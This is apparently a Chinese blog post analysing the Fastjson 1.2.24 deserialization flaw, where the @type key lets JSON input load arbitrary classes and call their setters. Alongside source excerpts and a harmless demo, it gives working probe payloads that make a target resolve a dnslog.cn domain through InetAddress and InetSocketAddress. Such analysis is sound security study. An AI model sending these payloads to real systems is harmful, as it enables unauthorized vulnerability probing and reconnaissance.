fastjson1.2.24 漏洞分析
Fastjson 1.2.24 这个漏洞是比较早的一个漏洞了。环境的部署的话。通过maven 进行部署就行了
漏洞原理:
1 通过入参类型,生成反序列化器。
2 反序列化器调用入参类型的无参构造函数,创建对象。
3 解析序列化字符串,取出Key,Value值,调用相应的setKey(Value)方法。
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version> 1.2.24</version> </dependency>
最开始很奇怪他的payload 是{“@type”:”xxxxx”} 这么奇奇怪怪的payload 。那么通过如下进行探索
通过搜索。发现com\alibaba\fastjson\JSON.class 中定义了@type
那么看看他在哪里被用到了。经过全局搜索发现com\alibaba\fastjson\parser\DefaultJSONParser.parseObject 中被用到具体的调用如下:
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); if (clazz != null) { lexer.nextToken(16); if (lexer.token() == 13) { lexer.nextToken(16);
如果key为@type 的时候。并且lexer.isEnabled(Feature.DisableSpecialKeyDetect) 为false的时候。去加载传递过来的类全名去加载这个类。用法如下:
首先建立一个User的类
package com.example.demo; public class User { private int age; private String name; private String birthday; public int getAge() { return age; } public User() { } public User(int age, String name, String birthday) { this.age = age; this.name = name; this.birthday = birthday; } @Override public String toString() { return "User{" + "age=" + age + ", name='" + name + '\'' + ", birthday='" + birthday + '\'' + '}'; } public void setAge(int age) { this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getBirthday() { return birthday; } public void setBirthday(String birthday) { this.birthday = birthday; } }
然后使用@type 进行调用loadClass 进行加载
package com.example.demo; import com.alibaba.fastjson.JSON; public class testfastjson { public static String userStr2="{\"@type\":\"com.example.demo.User\",\"age\":12,\"birthday\":\"test\",\"name\":\"myname\"}"; public static void main(String[] args) { User user2 = (User) JSON.parse(userStr2); System.err.println(user2.getName()); } }
这个方法没有做任何的安全过滤。那么可以通过传入全类的全路径。
也就是说可以传入任何jvm加载过的类,并执行setKey方法,Key也是传入的,可变的。
剩下的就是寻找符合以下条件的类:
1,JVM加载过的类;
2,有非静态set方法;
3,入参只有一个。
值得深究的地方为:
com\alibaba\fastjson\serializer\MiscCodec.deserialze
这里判断了几种类型key的类型 例如:报错时候。会调用return InetAddress.getByName(strVal);
那么可以进行探测dnslog
public static String userStr2="{\"@type\":\"java.net.InetAddress\",\"val\":\"bbbbb.nwccz3.dnslog.cn\"}"; public static void main(String[] args) throws IOException { User user2 = (User) JSON.parse(userStr2); System.err.println(user2.getName()); }
例如判断了address
if (className.equals("address")) { parser.accept(17); address = (InetAddress)parser.parseObject(InetAddress.class); }
也可以通过 进行dnslog请求
public static String userStr2="{\"zero\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"crzq71.dnslog.cn\"}}}";
对于RCE 的点分析。真的是长。这里只是简单的做了一下分析。
参考:
https://www.cnblogs.com/0x28/p/14378245.html
https://blog.csdn.net/mwei83/article/details/84883965